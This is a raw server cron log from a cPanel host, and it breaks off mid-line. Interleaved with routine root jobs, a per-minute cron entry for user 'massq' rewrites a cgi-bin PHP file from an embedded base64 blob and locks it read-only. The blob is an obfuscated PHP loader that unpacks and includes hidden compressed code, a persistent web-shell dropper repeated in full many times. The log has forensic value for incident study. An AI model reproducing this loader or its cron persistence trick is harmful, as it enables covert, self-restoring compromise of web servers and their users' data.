Apr 11 00:54:01 server CROND[27943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:55:01 server CROND[28005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:55:01 server CROND[28006]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:55:01 server CROND[28007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:56:01 server CROND[28118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:57:01 server CROND[28286]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 00:57:01 server CROND[28287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:58:01 server CROND[28376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:59:02 server CROND[28436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:00:01 server CROND[28497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:00:01 server CROND[28499]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:00:01 server CROND[28498]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 01:00:01 server CROND[28501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:01:01 server CROND[28613]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 01:01:01 server CROND[28614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:01:01 server run-parts(/etc/cron.hourly)[28613]: starting 0anacron
Apr 11 01:01:01 server anacron[28626]: Anacron started on 2025-04-11
Apr 11 01:01:01 server anacron[28626]: Normal exit (0 jobs run)
Apr 11 01:01:01 server run-parts(/etc/cron.hourly)[28628]: finished 0anacron
Apr 11 01:02:01 server CROND[28786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:03:01 server CROND[28980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:04:01 server CROND[29057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:05:01 server CROND[29114]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 01:05:01 server CROND[29116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:05:01 server CROND[29115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:05:01 server CROND[29117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:06:01 server CROND[29227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:07:01 server CROND[29390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PR